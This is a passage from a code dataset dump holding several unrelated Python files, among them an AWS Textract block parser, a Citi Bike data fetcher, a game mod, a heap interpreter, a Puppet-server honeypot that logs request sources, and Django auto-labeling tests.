not. True raises re.IGNORECASE flag\n clean: whether to clean text in this block. Only works on self.parsed\n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n Return:\n True or False\n \"\"\"\n # line below may look strange, it's because process regex doesn't make \n # sense\n parsed_text,_ = self._str_process(\"\",ignore_case=False,clean=clean)\n if ignore_case:\n return(bool(re.search(regex,parsed_text,flags=re.IGNORECASE)))\n else:\n return(bool(re.search(regex,parsed_text)))\n\n def str_dist(self,text,fun,ignore_case=True,clean=False):\n \"\"\"\n Calculate string distance/similarity with text in current block and text.\n\n Parameters:\n text: text to compare\n fun: function in textdistance module\n ignore_case: case sensitive or not. True raises re.IGNORECASE flag\n clean: whether to clean text in this block. Only works on self.parsed\n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n Return:\n Distance or Similarity as defined in textdistance module\n \"\"\"\n if \"textdistance\" not in fun.__module__:\n raise ValueError(\n f\"Function {fun.__name__} is not from textdistance module.\"\n )\n parsed_text,text = self._str_process(text,ignore_case,clean)\n return(fun(parsed_text,text))\n\n # display matched content nicely\n def image(self,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight this block in source document using PIL\n\n Parameters:\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n\n Return:\n PIL Image Object\n \"\"\"\n from PIL import Image,ImageDraw\n if source is None:\n if image_size is None:\n width, height = 500,500\n else:\n width,height = image_size\n image = Image.new('RGB', (width, height))\n else:\n if type(source) == str:\n image = Image.open(source)\n else:\n image = source\n if image_size is None:\n width, height = image.size\n else:\n width, height = image_size\n image = image.resize(image_size) # resize image\n\n # draw rectangle\n draw = ImageDraw.Draw((image))\n top_left = self.point(\"top left\",dict)\n bottom_right = self.point(\"bottom right\",dict)\n draw.rectangle(\n (\n (top_left[\"X\"] * width,top_left[\"Y\"] * height),\n (bottom_right[\"X\"] * width,bottom_right[\"Y\"] * height)\n ), \n outline =outline\n )\n return(image)\n\n def image_show(self,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight and show this block in source document using PIL.\n\n Parameters:\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n \"\"\"\n image = self.image(source=source,outline=outline,image_size=image_size)\n image.show()\n\n def image_save(self,path,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight this block in source document using PIL, save image to given \n path.\n\n Parameters:\n path: path to save file to.\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n \"\"\"\n image = self.image(source=source,outline=outline,image_size=image_size)\n image.save(path) \n\n\nclass Blocks(UserList):\n def __init__(self, l):\n super().__init__([x if isinstance(x,Block) else Block(x) for x in l])\n self._summary = self._generate_summary()\n\n @property\n def length(self):\n \"\"\"\n Length of Blocks\n \"\"\"\n return(self.__len__())\n \n def _generate_summary(self):\n summary = {}\n count = 0\n for b in self:\n if b[\"BlockType\"] not in summary:\n summary[b[\"BlockType\"]] = 1\n else:\n summary[b[\"BlockType\"]] += 1\n count += 1\n summary[\"LENGTH\"] = count\n return(summary)\n\n def __repr__(self):\n string = self.__class__.__name__ + \"(\" + self.data.__repr__() + \")\"\n return(string)\n\n def __str__(self):\n string = self.__class__.__name__ + \": \" + self._summary.__str__()\n return(string)\n\n \n @staticmethod\n def from_file(path):\n \"\"\"\n Read blocks from JSON file.\n \"\"\"\n with open(path,\"r\") as f:\n d = json.load(f)\n return(Blocks(d[\"Blocks\"]))\n\n @staticmethod \n def from_list(l):\n \"\"\"\n Initialize Blocks from a list of Block objects.\n \"\"\"\n return(Blocks(l))\n \n def map(self,fun):\n \"\"\"\n Apply function to object. Returns a list.\n \"\"\"\n return(list(map(fun,self)))\n \n def get(self,key):\n \"\"\"\n Get Attribute by key. key can be str or list/tuple\n \"\"\"\n return(self.map(lambda x:x.get(key)))\n\n def compress(self,selectors):\n \"\"\"\n Compress Blocks with selectors(list of booleans)\n \"\"\"\n return(Blocks(compress(self,selectors)))\n\n def filter(self,fun):\n \"\"\"\n Filter Blocks with function. Returns Blocks.\n \"\"\"\n return(Blocks(filter(fun,self)))\n\n def filter_by(self,key,value):\n \"\"\"\n filter Blocks by key-value pair in dictionary.\n\n key: str or list of keys for nested key.\n value: str or list\n\n Return:\n Blocks object\n \"\"\"\n return(self.filter(lambda x: x.get(key) == value))\n\n def reduce(self,fun):\n \"\"\"\n Reduce Blocks with function. Does not accept initializer\n \"\"\"\n return(reduce(fun,self))\n\n # parsing logic\n def parse(self,blocks=None):\n \"\"\"\n Parse each block in this Blocks object.\n\n Parameters:\n blocks: blocks to use when parsing. Default to None, which uses this \n Blocks object to parse each block. When blocks is provided, use that\n instead.\n\n Return:\n self\n \"\"\"\n blocks = blocks if blocks else self\n for b in blocks:\n b.parse(blocks)\n return(self)\n\n def is_parsed(self):\n \"\"\"\n Whether all items in this Blocks are parsed\n \"\"\"\n for b in self:\n if not b.parsed:\n return(False)\n return(True)\n \n @property\n def parsed(self):\n return(self.map(lambda x:x.parsed))\n\n @property\n def parsed_text(self):\n return(self.map(lambda x:x.parsed_text))\n\n # string functions\n def str_equals(self,text,ignore_case=True,clean=False):\n \"\"\"\n Check is text in current block is identical to text.\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not\n clean: whether to clean text. \n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \n Return:\n list of booleans\n \"\"\"\n ret = self.map(lambda x:x.str_equals(text,ignore_case,clean))\n return(ret)\n\n def filter_str_equals(self,text,ignore_case=True,clean=False):\n ret = self.compress(self.str_equals(text,ignore_case,clean))\n return(ret)\n\n def str_contains(self,text,ignore_case = True,clean=False):\n \"\"\"\n Check whether current block contains text\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not\n clean: whether to clean text. \n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n \n Return:\n list of booleans\n \"\"\"\n ret = self.map(lambda x:x.str_contains(text,ignore_case,clean))\n return(ret)\n\n def filter_str_contains(self,text,ignore_case=True,clean=False):\n ret = self.compress(self.str_contains(text,ignore_case,clean))\n return(ret)\n\n def str_matches(self,regex,ignore_case=True,clean=False):\n \"\"\"\n Check whether current block partially matches regular expression. Uses \n re.search under the hood.\n\n Parameters:\n text: text to compare\n ignore_case: case sensitive or not. True raises re.IGNORECASE flag\n clean: whether to clean text in this block. Only works on self.parsed\n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n Return:\n list of booleans\n \"\"\"\n # line below may look strange, it's because process regex doesn't make \n # sense\n ret = self.map(lambda x:x.str_matches(regex,ignore_case,clean))\n return(ret)\n\n def filter_str_matches(self,regex,ignore_case=True,clean=False):\n ret = self.compress(self.str_matches(regex,ignore_case,clean))\n return(ret)\n\n def str_dist(self,text,fun,ignore_case=True,clean=False):\n \"\"\"\n Calculate string distance/similarity with text in current block and text.\n\n Parameters:\n text: text to compare\n fun: function in textdistance module\n ignore_case: case sensitive or not. True raises re.IGNORECASE flag\n clean: whether to clean text in this block. Only works on self.parsed\n 1. Collapse all whitespaces\n 2. Get only characters and digits and space\n 3. strip whitespaces\n Return:\n List of Distance or Similarity as defined in textdistance module\n \"\"\"\n ret = self.map(lambda x:x.str_dist(text,fun,ignore_case,clean))\n return(ret)\n\n # functions to filter by position\n def get_distance(self,point,shortest=True,dtype=\"d\"):\n \"\"\"\n Get distance from the point to each block in Blocks.\n\n Parameters:\n point: point of reference\n shortest: whether it's shortest distance or distance to center of the \n other block\n dtype: distance type. d: euclidean distance, v: vertical distance, \n h: horizontal distance. h,v: positive if block is oh right,bottom of \n the point. negative if block is on left,top of the point.\n \n Return:\n list of float number. Could have negative sign if dtype is d or v.\n \"\"\"\n ret = self.map(lambda x: x.get_distance(point,shortest,dtype))\n return(ret)\n\n def filter_by_radius(self,point,radius):\n \"\"\"\n Filter Block objects whose center is in circle defined by point and \n radius.\n\n Parameters:\n point:(x,y) or {\"X\":x,\"Y\":y}, center of the circle\n radius: radius of the circle\n\n Return:\n Blocks\n \"\"\"\n ret = self.filter(lambda x: x.is_in_radius(point,radius))\n return(ret)\n\n\n def filter_by_rectangle(self,x_min,y_min,x_max,y_max):\n \"\"\"\n Filter Block objects whose center is in rectangle defined x_min,y_min,\n x_max,y_max\n\n Parameters:\n block: Block object\n x_min: x coordinate of top left corner of the rectangle\n y_min: y coordinate of top left corner of the rectangle\n x_max: x coordinate of top bottom right of the rectangle\n y_max: y coordinate of top bottom right of the rectangle\n\n Return:\n Blocks\n \"\"\"\n ret = self.filter(lambda x:x.is_in_rectangle(x_min,y_min,x_max,y_max))\n return(ret)\n\n # find blocks by positions\n\n def find_near(self,block,distance=None,sign=None,shortest=True,dtype=\"d\"):\n \"\"\"\n Find Block objects near the given block.\n\n Parameters:\n block: Block or block id\n shortest: whether it's shortest distance or distance to center of the \n other block\n distance: positive number. Used to find block objects within distance.\n sign: None, \"-\" or \"+\". When using dtype = h or v. the distance could be \n positive or negative. sign can used to filter blocks onr top/left, \n right/bottom\n dtype: distance type. d: euclidean distance, v: vertical distance, \n h: horizontal distance. h,v: positive if block is oh right,bottom of \n the point. negative if block is on left,top of the point.\n\n Details:\n When not providing distance but specifying sign, it can find blocks on \n top/left/bottom/right of the given block.\n\n Return:\n Blocks\n \"\"\"\n try:\n center = block.point(\"center\")\n bid = block[\"Id\"]\n except AttributeError:\n center = self.filter_by(\"Id\",block)[0].point(\"center\")\n bid = block\n \n distance = distance if distance else 2 # bigger than 1.414\n \n distances = self.get_distance(center,shortest=shortest,dtype=dtype)\n\n if dtype == \"d\":\n ret = self.compress([d <= distance and d > 0 for d in distances])\n else:\n if sign is None:\n ret = self.compress([abs(d) <= distance for d in distances])\n elif sign == \"+\":\n ret = self.compress(\n [d <= distance and d > 0 for d in distances]\n )\n elif sign == \"-\":\n ret = self.compress(\n [abs(d) <= distance and d < 0 for d in distances]\n )\n else: \n raise ValueError(f\"sign must be '+','-' or None, not {sign}\")\n ret = ret.filter(lambda x: x[\"Id\"] != bid)\n return(ret)\n\n def find_between(self,block1,block2):\n \"\"\"\n Find Block objects whose center fall between block1 and block2. Between \n means the center falls into the outer rectangle generated by min and \n max points.\n ------------------------\n |-------- |\n ||min | |\n || | ----------|\n |-------- | || \n | | max||\n | ----------|\n ------------------------\n\n Parameters:\n block1,block2: Block object or Id of Block Object\n\n Return:\n Blocks\n \"\"\"\n # get all four points\n try:\n p1 = block1.point(\"top left\")\n p2 = block1.point(\"bottom right\")\n p3 = block2.point(\"top left\")\n p4 = block2.point(\"bottom right\")\n bid1 = block1[\"Id\"]\n bid2 = block2[\"Id\"]\n except AttributeError:\n p1 = self.filter_by(\"Id\",block1)[0].point(\"top left\")\n p2 = self.filter_by(\"Id\",block1)[0].point(\"bottom right\")\n p3 = self.filter_by(\"Id\",block2)[0].point(\"top left\")\n p4 = self.filter_by(\"Id\",block2)[0].point(\"bottom right\")\n bid1 = block1\n bid2 = block2\n points = [p1,p2,p3,p4]\n x_min = min([p[0] for p in points])\n y_min = min([p[1] for p in points])\n x_max = max([p[0] for p in points])\n y_max = max([p[1] for p in points])\n\n ret = self.filter_by_rectangle(x_min=x_min,y_min=y_min,x_max=x_max,\n y_max=y_max)\n ret = ret.filter(lambda x: x[\"Id\"] not in [bid1,bid2]) \n return(ret)\n\n # sort blocks\n def sorted(self,origin = (0,0),shortest = True,dtype=\"d\",reverse=False):\n \"\"\"\n sort blocks by distance to origin. Blocks are always sorted by absolute \n distance regardless of sign.\n\n Parameters:\n origin: Block or a point of reference, default to (0,0) top left corner \n of page. if origin is Block, center of the Block is used as origin\n shortest: whether it's shortest distance or distance to center of the \n other block\n dtype: distance type. d: euclidean distance, v: vertical distance, \n h: horizontal distance. h,v: positive if block is oh right,bottom of \n the point. negative if block is on left,top of the point.\n reverse: sort ascendingly or not\n\n Return:\n Blocks\n \"\"\"\n if isinstance(origin,Block):\n origin = origin.point(\"center\")\n distances = self.get_distance(origin,shortest=shortest,dtype=dtype)\n else:\n distances = self.get_distance(origin,shortest=shortest,dtype=dtype)\n distances = [abs(d) for d in distances]\n s = [x for x,y in sorted(zip(self,distances), key=lambda pair: pair[1])]\n if reverse:\n s.reverse()\n return(Blocks(s))\n\n # find block parent(s)\n def find_parent(self,block):\n \"\"\"\n Find the first parent of block. Returns Block object.\n \"\"\"\n try:\n block_id = block[\"Id\"]\n except Exception:\n block_id = block\n for b in self:\n child_ids = b._get_relationship_ids(self,\"CHILD\")[0]\n if block_id in child_ids:\n return(b)\n return(None)\n\n def find_parents(self,block):\n \"\"\"\n Find all parents of the block. Returns Blocks object.\n \"\"\"\n try:\n block_id = block[\"Id\"]\n except Exception:\n block_id = block\n ret = []\n for b in self:\n child_ids = b._get_relationship_ids(self,\"CHILD\")[0]\n if block_id in child_ids:\n ret.append(b)\n return(Blocks(ret))\n\n # image\n def image(self,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight Blocks in source document using PIL\n\n Parameters:\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n\n Return:\n PIL Image object\n \"\"\"\n ret = None\n for b in self:\n if b.get(\"BlockType\") == \"PAGE\":\n print(\"PAGE Block is not highlighted\")\n continue\n else:\n if ret is None:\n ret = b.image(source,outline,image_size)\n else:\n ret = b.image(ret,outline,image_size)\n return(ret)\n\n def image_show(self,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight and show Blocks in source document using PIL\n\n Parameters:\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n \"\"\"\n image = self.image(source,outline,image_size)\n image.show()\n\n def image_save(self,path,source=None,outline=\"red\",image_size=None):\n \"\"\"\n Highlight Blocks in source document using PIL and save image to path\n\n Parameters:\n path: path to save image to.\n source: path to image,or PIL Image object.f source = None: show \n highlight in blank plot.\n color: border color of highlighted block\n image_size: image size in pixels (width,height). If image_size = None:\n use default width and height\n \"\"\"\n image = self.image(source,outline,image_size)\n image.save(path)\n","sub_path":"pyUtility/aws/textract.py","file_name":"textract.py","file_ext":"py","file_size_in_byte":35143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"63484531","text":"#!/usr/bin/env python\n\n# To Add:\n# - write data to S3 bucket\n# - Write a log file\n\n\n\n# import libraries\nimport requests\nimport pandas as pd\nimport sqlite3\n\n# url for data on station status:\nstation_url = 'https://gbfs.citibikenyc.com/gbfs/en/station_status.json'\n\n# get json from API\nr = requests.get(station_url)\ndat = r.json() # returns dictionary\n\n# make dataframe of station data\ndf=pd.DataFrame( dat['data']['stations'] )\n\n# write raw data to csv so we can always go back later if needed\n#csv_name = '/Users/Andy/Springboard_DataScience/Capstone_1/data/feeds/' + str(pd.to_datetime(dat['last_updated'],unit='s')) + '.csv'\ncsv_name = '/Users/Andy/Projects/NYC_citibike/data/feeds/' + str(pd.to_datetime(dat['last_updated'],unit='s')) + '.csv'\ndf.to_csv(csv_name,index=False)\n\n# write the raw csv file to S3 also\n#import boto3\n#s3 = boto3.resource('s3')\n#fname = csv_name\n#key_name = 'station_status/' + str(pd.to_datetime(dat['last_updated'],unit='s')) + '.csv'\n#data = open(fname, 'rb')\n#s3.Bucket('citibikefeed').put_object(Key=key_name, Body=data)\n\n# add timestamp to rows (this is in UTC)\n# note each station also has a 'last updated'?\ntimestamp_utc = pd.to_datetime(dat['last_updated'],unit='s',utc=True)\n#timestamp_utc = pd.to_datetime(df['last_updated'],unit='s',utc=True)\n\ndf['timestamp_utc'] = timestamp_utc.to_datetime64()\n#df['timestamp_utc'] = pd.to_datetime(df['timestamp_utc'] )\n\n# also add local (NYC) time\ntimestamp_nyc = timestamp_utc.tz_convert(tz='America/New_York')\n#df['timestamp_nyc'] = timestamp_nyc.to_datetime64()\n#df['timestamp_nyc'] = pd.to_datetime(df['timestamp_nyc'])\n\n# add yearh, hour, day of year (using NY time)\n#df['year']=df.timestamp_nyc.dt.year\n#df['hour']=df.timestamp_nyc.dt.hour\n#df['yday']=df.timestamp_nyc.dt.dayofyear\ndf['year']=timestamp_nyc.year\ndf['hour']=timestamp_nyc.hour\ndf['yday']=timestamp_nyc.dayofyear\n\n# write the data to sql database\n#con = sqlite3.connect(\"/Users/Andy/Springboard_DataScience/Capstone_1/data/citibike_feeds.db3\")\ncon = sqlite3.connect(\"/Users/Andy/Projects/NYC_citibike/data/citibike_feeds.db3\")\ndf.to_sql(\"station_status\",con,if_exists='append',index=False)\ncon.close()\n","sub_path":"src/read_citibike_streaming.py","file_name":"read_citibike_streaming.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"460971179","text":"import bl2sdk\n\n\nclass Crosshair(bl2sdk.BL2MOD):\n Name = \"No Crosshair\"\n Description = \"Removes the crosshairs.\"\n Author = \"Juso\"\n\n bZoomed = False\n\n def disable_crosshair(self, caller, function, params):\n if not self.bZoomed:\n caller.bCrosshairEnabled = False\n caller.bSuppressCrosshair = True\n else:\n caller.bCrosshairEnabled = True\n caller.bSuppressCrosshair = False\n\n def handle_zooming(self, caller, function, params):\n if params.NewZoomState == 2:\n self.bZoomed = True\n caller.bCrosshairEnabled = True\n else:\n self.bZoomed = False\n caller.bCrosshairEnabled = False\n\n crosshair_hook = \"WillowWeapon.Active.BeginState\"\n zoom_hook = \"WillowGame.WillowWeapon.SetZoomState\"\n\n def Enable(self):\n bl2sdk.RegisterHook(self.crosshair_hook, \"CrosshairHook\", CrosshairHook)\n bl2sdk.RegisterHook(self.zoom_hook, \"ZoomHook\", IsZoomingHook)\n\n def Disable(self):\n bl2sdk.RemoveHook(self.crosshair_hook, \"CrosshairHook\")\n bl2sdk.RemoveHook(self.zoom_hook, \"ZoomHook\")\n\n\nCrosshairInstance = Crosshair()\n\n\ndef CrosshairHook(caller: bl2sdk.UObject, function: bl2sdk.UFunction, params: bl2sdk.FStruct) -> bool:\n CrosshairInstance.disable_crosshair(caller, function, params)\n return True\n\n\ndef IsZoomingHook(caller: bl2sdk.UObject, function: bl2sdk.UFunction, params: bl2sdk.FStruct) -> bool:\n CrosshairInstance.handle_zooming(caller, function, params)\n return True\n\nbl2sdk.Mods.append(CrosshairInstance)\n","sub_path":"NoCrosshair/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"338593436","text":"from insert import add_stock, unsent_stocks, upcoming_stocks\nfrom telegram import publish_stock, remind_and_pin\n\n\ndef publish_stocks():\n # fetch and store new stocks before publishing to the channel\n add_stock()\n\n unpublished_stocks = list(unsent_stocks())\n if unpublished_stocks:\n from models import session\n for the_stock in unpublished_stocks:\n publish_stock(the_stock)\n session.commit()\n return print(f\"published {len(unpublished_stocks)} stocks\")\n\n\ndef remind_stock():\n upcoming_issues = list(upcoming_stocks())\n if upcoming_issues:\n for issue in upcoming_issues:\n remind_and_pin(issue)\n return print(f\"reminded about {len(upcoming_issues)} stock\")\n\n\nif __name__ == '__main__':\n publish_stocks()\n remind_stock()\n","sub_path":"stocks.py","file_name":"stocks.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"89568282","text":"# File: HeapScript.py\n# Author: Szymon Wróbel\n\nfrom CormenHeap import CormenHeap\nfrom typing import List, Tuple, Callable\n\ndef handle_empty(heap: CormenHeap, _: List[str]) -> None:\n print(1 if heap.empty() else 0)\n\ndef handle_insert(heap: CormenHeap, tokens: List[str]) -> None:\n try:\n item = int(tokens[1])\n priority = int(tokens[2])\n heap.insert(item, priority)\n except ValueError:\n print(\"Invalid input format\")\n\ndef handle_top(heap: CormenHeap, _: List[str]) -> None:\n print(heap.top() if not heap.empty() else \"\")\n\ndef handle_pop(heap: CormenHeap, _: List[str]) -> None:\n print(heap.pop() if not heap.empty() else \"\")\n\ndef handle_priority(heap: CormenHeap, tokens: List[str]) -> None:\n try:\n item = int(tokens[1])\n priority = int(tokens[2])\n heap.priority(item, priority)\n except ValueError:\n print(\"Invalid input format\")\n\ndef handle_print(heap: CormenHeap, _: List[str]) -> None:\n print(heap.data)\n\ndef dispatch(heap: CormenHeap, tokens: List[str]) -> None:\n actions: List[Tuple[str, Callable]] = [\n (\"insert\", handle_insert),\n (\"empty\", handle_empty),\n (\"top\", handle_top),\n (\"pop\", handle_pop),\n (\"priority\", handle_priority),\n (\"print\", handle_print)\n ]\n\n for (cmd, act) in actions:\n if cmd == tokens[0]:\n act(heap, tokens)\n break\n else:\n print(\"Unknown command: \" + tokens[0])\n \ndef interpret(heap: CormenHeap, input: str) -> None:\n tokens = input.rstrip().split(' ')\n dispatch(heap, tokens)","sub_path":"lista5/src/HeapScript.py","file_name":"HeapScript.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"599099653","text":"from bottle import route, run, template, request, error, response\nimport requests\nimport os.path\nimport configparser\nimport datetime\nimport codecs\nfrom bottle import Bottle, request, response\nfrom datetime import datetime\nimport logging\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO , filename='/var/log/puppetpot.txt')\n\n# set up logging to console\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.ERROR)\n# set a format which is simpler for console use\n\nformatter = logging.Formatter('%(asctime)s : %(message)s')\nconsole.setFormatter(formatter)\nlogging.getLogger(\"\").addHandler(console)\n\n#\n# read config from eventually existing T-Pot installation (see dtag-dev-sec.github.io)\n#\ndef getConfig():\n if os.path.isfile('/data/ews/conf/ews.cfg'):\n config2 = configparser.ConfigParser()\n config2.read('/data/ews/conf/ews.cfg')\n username = config2.get(\"EWS\", \"username\")\n token = config2.get(\"EWS\", \"token\")\n server = config2.get(\"EWS\", \"rhost_first\")\n nodeid = config2.get(\"GLASTOPFV3\", \"nodeid\")\n\n return (username, token, server, nodeid)\n else:\n return (None, None, None, None)\n\n#\n# log data for DTAG TPot\n#\ndef logData(attackerIP, attackerRequest, host):\n\n if os.path.isfile('/data/ews/conf/ews.cfg'):\n\n curDate = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%dT%H:%M:%S')\n\n dumpStr = \"{\\\"timestamp\\\":\\\"\" + curDate + \"\\\",\\\"event_type\\\":\\\"alert\\\",\\\"src_ip\\\":\\\"\"+attackerIP+\"\\\",\\\"src_port\\\":0,\\\"dest_ip\\\":\\\"127.0.0.1\\\",\\\"dest_port\\\":8140,\\\"honeypot\\\":{\\\"name\\\":\\\"Elasticpot\\\",\\\"nodeid\\\":\\\"puppet\\\"}}\\r\\n\"\n\n with open(\"/data/puppetpot/log/puppetpot.log\", \"a\") as myfile:\n myfile.write(dumpStr)\n\n\n#\n# send the data back to the defined server (e.g. DTAG T-Pot environment)\n#\ndef postdata(url, content, ip):\n\n username, token, server, nodeid = getConfig()\n\n if (username == None):\n return\n\n logData(ip, url, server)\n\n nodeid = \"puppetpot-\" + nodeid\n\n txt = open(\"./templates/ews.txt\")\n xml = txt.read()\n\n out = codecs.encode(url.encode(\"UTF-8\"), 'base64_codec')\n\n xml = xml.replace(\"_IP_\", ip)\n xml = xml.replace(\"_USERNAME_\", username)\n xml = xml.replace(\"_TOKEN_\", token)\n\n xml = xml.replace(\"_URL_\", url)\n xml = xml.replace(\"_RAW_\", out.decode(\"utf-8\") )\n xml = xml.replace(\"_NODEID_\", nodeid)\n\n curDate = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')\n\n xml = xml.replace(\"_TIME_\", curDate)\n\n headers = {'Content-Type': 'application/xml'}\n requests.post(server, data=xml, headers=headers)\n\n\n#\n# retrieve IP from request\n#\ndef getIP(request):\n\n ip = request.environ.get('X-Forwarded-For')\n if ip != None:\n return ip\n\n return \"\"\n\n\n\n@error(404)\ndef error404(error):\n\n ip = getIP(request)\n\n logging.error(\"HTTP Code 404: \" + request.url + \" from ip \" + ip)\n return ''\n\n@error(500)\ndef error500(error):\n\n ip = getIP(request)\n\n logging.error(\"HTTP Code 500: \" + request.url + \" from ip \" + ip)\n\n return ''\n\n\n@route('/production/certificate_request/', method=\"GET\")\ndef handleCertificateRequestGET(node):\n\n response.content_type = 'text/plain'\n ip = getIP(request)\n\n\n # dummy code\n response.status = 200\n return \"\"\n\n@route('/production/certificate_request/', method=\"PUT\")\ndef handleCertificateRequestPUT(node):\n\n ip = getIP(request)\n logging.info(request.url+ \" from ip \" + ip)\n\n response.content_type = 'text/plain'\n postContent = \"\"\n\n for l in request.body:\n postContent += l.decode(\"utf-8\")\n\n # dummy code\n response.status = 200\n return \"\"\n\n@route('/production/certificate/', method=\"GET\")\ndef handleCertificatesCA(node):\n\n ip = getIP(request)\n logging.info(request.url + \" from ip \" + ip)\n\n response.content_type = 'text/plain'\n\n if node == 'ca':\n txt = open(\"./templates/ca.pem\")\n indexData = txt.read()\n return indexData\n# else:\n# txt = open(\"./templates/node.pem\")\n\n # dummy code\n response.status = 200\n return \"\"\n\n@route('/certificates/ca', method=\"GET\")\ndef handleCertificatesCA():\n\n ip = getIP(request)\n logging.info(request.url + \" from ip \" + ip)\n\n txt = open(\"./templates/ca.pem\")\n indexData = txt.read()\n\n return indexData\n\n\n#\n# listen to all ports to keep\n#\n\nrun(host='0.0.0.0', port=8141)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"593110328","text":"def solution(msg):\n dic = {}\n i = 1\n for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':\n dic[c] = i\n i += 1\n index = 0\n answer = []\n while index < len(msg):\n for i in range(len(msg), index, -1):\n mes = msg[index:i]\n if mes in dic:\n answer.append(dic[mes])\n if i != len(msg):\n dic[msg[index:i + 1]] = max(dic.values()) + 1\n index = i\n break\n\n return answer","sub_path":"Programmers/2018 KAKAO/압축.py","file_name":"압축.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"463165525","text":"import pathlib\nfrom unittest.mock import patch\n\nfrom auto_labeling_pipeline.mappings import AmazonComprehendSentimentTemplate\nfrom auto_labeling_pipeline.models import RequestModelFactory\nfrom rest_framework import status\nfrom rest_framework.reverse import reverse\n\nfrom ...models import DOCUMENT_CLASSIFICATION, IMAGE_CLASSIFICATION\nfrom .utils import (CRUDMixin, make_auto_labeling_config, make_doc, make_image,\n prepare_project)\n\ndata_dir = pathlib.Path(__file__).parent / 'data'\n\n\nclass TestConfigParameter(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=DOCUMENT_CLASSIFICATION)\n self.data = {\n 'model_name': 'GCP Entity Analysis',\n 'model_attrs': {'key': 'hoge', 'type': 'PLAIN_TEXT', 'language': 'en'},\n 'text': 'example'\n }\n self.url = reverse(viewname='auto_labeling_parameter_testing', args=[self.project.item.id])\n\n @patch('api.views.auto_labeling.AutoLabelingConfigParameterTest.send_request', return_value={})\n def test_called_with_proper_model(self, mock):\n self.assert_create(self.project.users[0], status.HTTP_200_OK)\n _, kwargs = mock.call_args\n expected = RequestModelFactory.create(self.data['model_name'], self.data['model_attrs'])\n self.assertEqual(kwargs['model'], expected)\n\n @patch('api.views.auto_labeling.AutoLabelingConfigParameterTest.send_request', return_value={})\n def test_called_with_text(self, mock):\n self.assert_create(self.project.users[0], status.HTTP_200_OK)\n _, kwargs = mock.call_args\n self.assertEqual(kwargs['example'], self.data['text'])\n\n @patch('api.views.auto_labeling.AutoLabelingConfigParameterTest.send_request', return_value={})\n def test_called_with_image(self, mock):\n self.data['text'] = str(data_dir / 'images/1500x500.jpeg')\n self.assert_create(self.project.users[0], status.HTTP_200_OK)\n _, kwargs = mock.call_args\n self.assertEqual(kwargs['example'], self.data['text'])\n\n\nclass TestTemplateMapping(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=DOCUMENT_CLASSIFICATION)\n self.data = {\n 'response': {\n 'Sentiment': 'NEUTRAL',\n 'SentimentScore': {\n 'Positive': 0.004438233096152544,\n 'Negative': 0.0005306027014739811,\n 'Neutral': 0.9950305223464966,\n 'Mixed': 5.80838445785048e-7\n }\n },\n 'template': AmazonComprehendSentimentTemplate().load()\n }\n self.url = reverse(viewname='auto_labeling_template_test', args=[self.project.item.id])\n\n def test_template_mapping(self):\n response = self.assert_create(self.project.users[0], status.HTTP_200_OK)\n expected = [{'label': 'NEUTRAL'}]\n self.assertEqual(response.json(), expected)\n\n def test_json_decode_error(self):\n self.data['template'] = ''\n self.assert_create(self.project.users[0], status.HTTP_400_BAD_REQUEST)\n\n\nclass TestLabelMapping(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=DOCUMENT_CLASSIFICATION)\n self.data = {\n 'response': [{'label': 'NEGATIVE'}],\n 'label_mapping': {'NEGATIVE': 'Negative'}\n }\n self.url = reverse(viewname='auto_labeling_mapping_test', args=[self.project.item.id])\n\n def test_label_mapping(self):\n response = self.assert_create(self.project.users[0], status.HTTP_200_OK)\n expected = [{'label': 'Negative'}]\n self.assertEqual(response.json(), expected)\n\n\nclass 